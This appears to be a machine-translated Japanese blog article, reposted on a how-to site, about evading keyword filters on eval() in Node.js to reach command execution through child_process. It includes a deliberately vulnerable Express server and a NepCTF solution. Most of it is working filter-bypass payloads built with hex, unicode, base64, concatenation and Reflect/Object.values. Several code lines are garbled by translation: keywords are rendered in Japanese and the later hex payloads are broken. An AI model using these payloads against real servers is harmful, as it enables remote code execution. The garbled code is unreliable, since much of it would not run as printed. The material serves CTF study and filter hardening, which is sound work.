Node.js コード実行をバイパスするためのヒントのまとめ

Node.js コード実行をバイパスするためのヒントのまとめ

PHP では、eval コードの実行はよく知られたトピックであり、PHP コードの実行を回避するためにさまざまなトリックが使用されています。この記事では主に、Node.js でのバイパスのアイデアについて説明します。

1. 子プロセス

まず、システム コマンドを実行するために使用される nodejs の child_process モジュールを紹介します。 Nodejs は、child_process モジュールを使用して複数の子プロセスを生成し、他の処理を行います。 child_process には、execFileSync、spawnSync、execSync、fork、exec、execFile、spawn の 7 つのメソッドがあり、これらすべてのメソッドは spawn() メソッドを使用します。 fork は別の子プロセス ファイルを実行するため、fork 以外の関数の使用方法を次に示します。

require("child_process").exec("sleep 3");
require("child_process").execSync("sleep 3");
require("child_process").execFile("/bin/sleep",["3"]); //実行可能ファイルを呼び出し、2番目のパラメータに引数を渡す
'child_process' を要求します。'sleep'、['3'] を生成します。
必要("child_process").spawnSync('sleep', ['3']);
require("child_process").execFileSync('sleep', ['3']);

実際には、さまざまな関数が下部で spawn を呼び出します。興味がある場合は、ソース コードに従って確認することができます。

const child = spawn(ファイル, args, {
  cwd: オプション.cwd、
  env: オプション.env、
  gid: オプション.gid、
  uid: オプション.uid、
  シェル: オプション.shell、
  windowsHide: !!options.windowsHide,
  windowsVerbatimArguments: !!options.windowsVerbatimArguments
});

2. nodejsでのコマンド実行

コードの実行をデモンストレーションするために、次のコードを使用して最小限のサーバーを作成しました。

定数 express = require('express')
const bodyParser = require('body-parser')
const app = express()

app.use(bodyParser.urlencoded({extended: true })) を使用します。
app.post('/', 関数(req, res) {
    コード = req.body.code;
    console.log(コード);
    res.send(eval(コード));
})

アプリを聴く(3000)

原理は非常に単純で、post メソッドによって渡されたコード パラメータを受け取り、eval(code) の結果を返します。

nodejs では、コードを実行するために eval() 関数も使用されます。上記の rce 関数の場合、まずコードを使用して rce を実行するための次のコードを取得できます。

以下のコマンドはすべて curl ローカル ポートを使用して実行されます。

eval('require("child_process").execSync("curl 127.0.0.1:1234")')

これは最も単純なコード実行状況です。もちろん、一般的に、開発者が eval を使用して、ユーザー入力をレイヤーごとに受け入れる可能性のあるポイントを呼び出す場合、ユーザー入力が直接入力されるのではなく、何らかのフィルタリングが行われます。たとえば、exec キーワードがフィルタリングされている場合、それをバイパスするにはどうすればよいでしょうか?

もちろん、実際にはそれほど簡単ではありません。この記事ではアイデアについてのみ説明しています。実際のフィルタリングされたキーワードに応じて変更できます。

以下は、通常のチェックexecキーワードを追加した、わずかに変更されたサーバーコードです。

定数 express = require('express')
const bodyParser = require('body-parser')
const app = express()

関数validcode(入力) {
  var re = new RegExp("exec");
  re.test(入力) を返します。
}

app.use(bodyParser.urlencoded({extended: true })) を使用します
app.post('/', 関数(req, res) {
  コード = req.body.code;
  console.log(コード);
  if (validcode(code)) {
    res.send("禁止です!")
  } それ以外 {
    res.send(eval(コード));
  }
})

アプリを聴く(3000)

アプローチは 6 つあります。

  • 16進エンコード
  • ユニコードエンコーディング
  • プラス記号の連結
  • テンプレート文字列
  • concat関数接続
  • base64エンコード

2.1 16進数エンコード

最初のアイデアは、16 進エンコードです。その理由は、Node.js では、文字列に 16 進数が使用されている場合、この 16 進数の ASCII コードに対応する文字が同等であるためです (最初の反応は MySQL に少し似ています)。

コンソールログ("a"==="\x61");
// 真実

ただし、上記の正規表現に一致する場合、16 進数は文字に変換されないため、正規表現の検証をバイパスできます。だから合格できる

必要("child_process")["exe\x63Sync"]("curl 127.0.0.1:1234")

2.2 ユニコードエンコーディング

考え方は上記と似ています。JavaScript では Unicode 文字をコード ポイントで直接表現できるため、記述方法は「バックスラッシュ + u + コード ポイント」となり、Unicode 形式の文字を使用して対応する文字を置き換えることもできます。

コンソールログ("\u0061"==="a");
// 真実
必要("child_process")["exe\u0063Sync"]("curl 127.0.0.1:1234")

2.3 プラス記号の連結

原理は非常に簡単です。プラス記号はjs内の文字を接続するために使用できるので、次のようにすることができます。

'child_process')['exe'%2b'cSync']('curl 127.0.0.1:1234') が必要です

2.4 テンプレート文字列

関連コンテンツについてはMDNを参照してください。ペイロードはこちら

テンプレートリテラルは、埋め込み式を許可する文字列リテラルです。複数行の文字列と文字列補間を使用できます。

'child_process')[`${`${`exe`}cSync`}`]('curl 127.0.0.1:1234') が必要です

2.5 連結

文字列を接続するには、jsのconcat関数を使用します。

require("child_process")["exe".concat("cSync")]("curl 127.0.0.1:1234")

2.6 base64 エンコーディング

これはもっと従来的な考え方であるべきです。

eval(Buffer.from('Z2xvYmFsLnByb2Nlc3MubWFpbk1vZHVsZS5jb25zdHJ1Y3Rvci5fbG9hZCgiY2hpbGRfcHJvY2VzcyIpLmV4ZWNTeW5jKCJjdXJsIDEyNy4wLjAuMToxMjM0Iik=','base64').toString())

3. その他のバイパス方法

この部分は主に考え方を変えることについてです。上記の方法の最終的なアイデアは、エンコードまたはスプライシングを通じて exec キーワードを取得することです。この部分では、js のいくつかの構文と組み込み関数について検討します。

3.1 オブジェクト.キー

実は、require でインポートしたモジュールは Object なので、Object 内のメソッドを使って操作したり内容を取得したりすることができます。 Object.valuesを使用してchild_process内のさまざまな関数メソッドを取得し、配列の添え字を介してexecSyncを取得できます。

console.log(require('child_process').constructor===オブジェクト)
//真実
オブジェクト.values(require('child_process'))[5]('curl 127.0.0.1:1234')

3.2 反映

js では、関数呼び出しのリフレクション メソッドを実装するには、Reflect キーワードを使用する必要があります。たとえば、eval関数を取得するには、まずReflect.ownKeys(global)ですべての関数を取得し、次にglobal[Reflect.ownKeys(global).find(x=>x.includes('eval'))]でevalを取得します。

console.log(Reflect.ownKeys(グローバル))
//すべての関数を返す console.log(global[Reflect.ownKeys(global).find(x=>x.includes('eval'))])
//評価を取得

評価を取得した後は、従来の考え方でrceを使用できます

グローバル[Reflect.ownKeys(global).find(x=>x.includes('eval'))]('global.process.mainModule.constructor._load("child_process").execSync("curl 127.0.0.1:1234")')

ここで検出される可能性のあるキーワードもありますが、mainModule、global、child_process などのキーワードはすべて文字列内にあるため、16 進数などの前述の方法を使用してエンコードできます。

global[Reflect.ownKeys(global).find(x=>x.includes('eval'))]('\x67\x6c\x6f\x62\x61\x6c\x5b\x52\x65\x66\x6c\x65\x63\x74\x2e\x6f\x77\x6e\x4b\x65\x79\x73\x28\x67\x6c\x6f\x62\x61\x6c\x29\x2e\x66\x69\x6e\x64\x28\x78\x3d\x3e\x78\x2e\x69\x6e\x63\x6c\x75\x64\x65\x73\x28\x27\x65\x76\x61\x6c\x27\x29\x29\x5d\x28\x27\x67\x6c\x6f\x62\x61\x6c\x2e\x70\x72\x6f\x63\x65\x73\x73\x2e\x6d\x61\x69\x6e\x4d\x6f\x64\x75\x6c\x65\x2e\x63\x6f\x6e\x73\x74\x72\x75\x63\x74\x6f\x72\x2e\x5f\x6c\x6f\x61\x64\x28\x22\x63\x68\x69\x6c\x64\x5f\x70\x72\x6f\x63\x65\x73\x73\x22\x29\x2e\x65\x78\x65\x63\x53\x79\x6e\x63\x28\x22\x63\x75\x72\x6c\x20\x31\x32\x37\x2e\x30\x2e\x30\x2e\x31\x3a\x31\x32\x33\x34\x22\x29\x27\x29')

ここにちょっとしたコツがあります。eval キーワードをフィルタリングすると、includes('eva') を使用して eval 関数を検索したり、startswith('eva') を使用して検索したりできます。

3.3 フィルタリング括弧

3.2 では、eval を取得する方法は、角括弧 [] を使用するグローバル配列を介して行われます。角括弧がフィルターされている場合は、Reflect.get を使用してそれをバイパスできます。

Reflect.get(target, propertyKey[, received]) の関数は、target[name] と同様に、オブジェクトのプロパティの値を取得することです。

したがって、eval関数を取得する方法は次のようになります。

Reflect.get(グローバル、Reflect.ownKeys(グローバル).find(x=>x.includes('eva')))

次に、コマンド実行のペイロードをつなぎ合わせるだけです。

4. NepCTFゲームjs

このトピックの最初のステップはプロトタイプ チェーン汚染であり、2 番目のステップは eval コマンドの実行です。この記事では主に eval のバイパス方法について説明しているため、プロトタイプ チェーン汚染は削除され、バイパスの後半部分のみについて説明します。コードは次のように簡略化されます。

定数 express = require('express')
const bodyParser = require('body-parser')
const app = express()

var validCode = 関数 (func_code) {
  validInput を /subprocess|mainModule|from|buffer|process|child_process|main|require|exec|this|eval|while|for|function|hex|char|base64|"|'|\[|\+|\*/ig; とします。
  !validInput.test(func_code) を返します。
};

app.use(bodyParser.urlencoded({extended: true })) を使用します。
app.post('/', 関数(req, res) {
  コード = req.body.code;
  console.log(コード);
  if (!validCode(コード)) {
    res.send("禁止です!")
  } それ以外 {
    var d = '(' + コード + ')';
    res.send(eval(d));
  }
})

アプリを聴く(3000)

キーワードは一重引用符と二重引用符を除外するため、ここではすべてバックティックに置き換えることができます。 Reflect を除外せずに、リフレクションを使用して関数を呼び出し、RCE を実現することを検討してください。上記のポイントを使用して、予期しないペイロードを徐々に構築できます。まず、child_process と require キーワードがフィルタリングされるので、実行する前に base64 でエンコードしようと思いました。

eval(Buffer.from(`Z2xvYmFsLnByb2Nlc3MubWFpbk1vZHVsZS5jb25zdHJ1Y3Rvci5fbG9hZCgiY2hpbGRfcHJvY2VzcyIpLmV4ZWNTeW5jKCJjdXJsIDEyNy4wLjAuMToxMjM0Iik=`,`base64`).toString())

Base64はここでフィルタリングされ、直接置き換えることができます。

`base`.concat(64)


バッファをフィルタリングした後、それを次のように置き換えることができます。

Reflect.get(グローバル、Reflect.ownKeys(グローバル).find(x=>x.startsWith(`Buf`)))

Buffer.fromメソッドを取得するには、添え字を使うことができます。

オブジェクト.values(Reflect.get(global, Reflect.ownKeys(global).find(x=>x.startsWith(`Buf`))))[1]

しかし、問題はキーワードが括弧もフィルタリングすることです。これは簡単です。Reflect.getの別のレイヤーを追加するだけです。

Reflect.get(Object.values(Reflect.get(global, Reflect.ownKeys(global).find(x=>x.startsWith(`Buf`)))),1)

基本的なペイロードは

Reflect.get(Object.values(Reflect.get(global, Reflect.ownKeys(global).find(x=>x.startsWith(`Buf`)))),1)(`Z2xvYmFsLnByb2Nlc3MubWFpbk1vZHVsZS5jb25zdHJ1Y3Rvci5fbG9hZCgiY2hpbGRfcHJvY2VzcyIpLmV4ZWNTeW5jKCJjdXJsIDEyNy4wLjAuMToxMjM0Iik=`,`base`.concat(64)).toString()

しかし、問題は、このように渡した後、eval はデコードされたコンテンツを実行するのではなく、デコードのみを行うため、別の eval レイヤーが必要になることです。eval キーワードはフィルター処理されるため、リフレクションを使用して eval 関数を取得することも検討します。

Reflect.get(global, Reflect.ownKeys(global).find(x=>x.includes('eva')))(Reflect.get(Object.values(Reflect.get(global, Reflect.ownKeys(global).find(x=>x.startsWith(`Buf`)))),1)(`Z2xvYmFsLnByb2Nlc3MubWFpbk1vZHVsZS5jb25zdHJ1Y3Rvci5fbG9hZCgiY2hpbGRfcHJvY2VzcyIpLmV4ZWNTeW5jKCJjdXJsIDEyNy4wLjAuMToxMjM0Iik=`,`base`.concat(64)).toString())

Buffer.from を取得できる場合は、16 進エンコードでも同様です。

refrect.get(global、riffer.ownkeys(global)find(x => x.includes( 'eva'))) 6E4D6F64756C652E636F6E7374727563746F722E5F6C6F616428226368696C6C645F70726F636573733222292E65757533796E636E636E6363636E 2E302E302E313A313233342229`、 `he`.concat(` x`))。toString()))

もちろん、上で述べた 16 進数と文字列の特性により、eval 後に 16 進文字列を直接渡すこともできます。

refrect.get(global、refrect.ownkeys(global).find(x => x.includes( `eva`)))(` \ x67 \ x6c \ x6f \ x62 \ x61 \ x6c \ x2e \ x70 \ x72 \ x6f \ x63 x65 \ x65 \ x73 x 61 \ x69 \ x6e \ x4d \ x6f \ x64 \ x75 \ x6c \ x65 \ x2e \ x63 \ x6f \ x6e \ x73 \ x74 \ x72 \ x75 \ x63 \ \ x74 \ x6f \ x72 \ x61 \ x64 \ x28 \ x22 \ x63 \ x68 \ x69 \ x6c \ x64 \ x5f \ x70 \ x72 \ x6f \ x63 \ x65 \ x73 \ x73 \ x22 \ x29 x29 \ x2e \ x65 \ x65 \ x65 \ x65 53 \ x79 \ x6e \ x63 \ x28 \ x22 \ x63 \ x75 \ x72 \ x6c \ x20 \ x31 \ x32 \ x37 \ x2e \ x30 \ x2e \ x30 \ x2e \ x31 \ x34 \ x34 \ x34 \ X34 \ X34 \ X34 22 \ x29`)

nodejs の文字列処理方法は柔軟すぎる気がします。eval が可能な場合は、フィルタリングに文字列ブラックリストを使用しない方がよいでしょう。

助けてくれたフロントエンドの兄弟、semesseに感謝します

参考リンク

https://xz.aliyun.com/t/9167
キャンプ

要約する

これで、Node.js コード実行バイパスのヒントに関するこの記事は終了です。Node.js コード実行バイパスの詳細については、123WORDPRESS.COM の以前の記事を検索するか、次の関連記事を引き続き参照してください。今後とも 123WORDPRESS.COM を応援していただければ幸いです。

以下もご興味があるかもしれません:
  • NodeJs の高メモリ使用量のトラブルシューティング実戦記録
  • Nodejs 組み込み暗号化モジュールを使用してピアツーピアの暗号化と復号化を実現する詳細な説明
  • Node.js の非同期イテレータの詳細な説明
  • Node.js組み込みモジュールの詳細な説明
  • Nodejs モジュール システムのソースコード分析
  • JS と Nodejs におけるイベント駆動型開発についての簡単な説明
  • Nodejs でモジュール fs ファイルシステムを使用する方法
  • Nodejs 探索: シングルスレッドの高並行性の原理を深く理解する
  • Nodejs エラー処理プロセス記録
  • Node.js を使用して C# のデータ テーブル エンティティ クラス生成ツールを作成する方法

<<:  MySQL アップグレードのベストプラクティス

>>:  USE DB 輻輳に対する MySQL ソリューションの詳細な説明

推薦する

HTML ページジャンプコード

次のコードを index.html などのデフォルトのホームページ ファイルとして保存し、ルート デ...

要素の属性を削除する JS removeAttribute() メソッド

JavaScript では、要素の removeAttribute() メソッドを使用して、指定され...

MYSQL ロック解除とロックテーブルの紹介

MySQL ロックの概要他のデータベースと比較すると、MySQL のロック メカニズムは比較的単純で...

MySQL で自動インクリメントシーケンスを実装するためのサンプルコード

1. シーケンステーブルを作成する テーブル `sequence` を作成します ( `name` ...

Axios はリクエストをキャンセルし、重複リクエストを回避します

目次起源現状リクエストをキャンセル cancelTokenリクエスト方法の変更重複したリクエストを避...

HTML テーブル タグ チュートリアル (34): 行スパン属性 ROWSPAN

複雑なテーブル構造では、一部のセルが水平方向に複数のセルにまたがるため、行間属性 ROWSPAN を...

Vue3とTypeScriptを組み合わせたプロジェクト開発の実践の概要

目次概要1. コンポジションAPI 1. ref と reactive の違いは何ですか? 2. 周...

MySQL のソート関数 field() の詳細な例

序文私たちの日常の開発プロセスでは、ソートが頻繁に使用され、そのような要求がある場合もあります。たと...

MySQL 5.7.18 インストーラーのインストール ダウンロード グラフィック チュートリアル

この記事では、MySQL 5.7.18インストーラーの詳細なインストールチュートリアルを参考までに記...

Docker Secretの管理と使用の詳細な説明

1. Docker Secretとは1. シナリオ表示MySQL サービスなど、一部のサービスではパ...

WeChatミニプログラムの基本チュートリアル:Echartの使用

序文まずは最終的な効果を見てみましょう。私が自分で作った小さなデモです。まずEChartsの公式サイ...

MySQLの論理アーキテクチャに関する深い理解

MySQL は現在、ほとんどの企業や事業体で使用されているデータベースです。MySQL が使用される...

VMware ワークステーション 12 に Ubuntu 14.04 (64 ビット) をインストール

1. インストール環境コンピュータモデル: Lenovo Y471a (i5) ノートパソコンシステ...

MySQL の厄介な Aborted 警告をケーススタディで分析する

この記事では主に、MySQL の Aborted アラームに関する関連コンテンツを紹介し、参考と学習...

Pythonの関数知識についての簡単な説明

目次関数パラメータの2つの主要なカテゴリ位置パラメータ可変長パラメータ名前空間要約する関数パラメータ...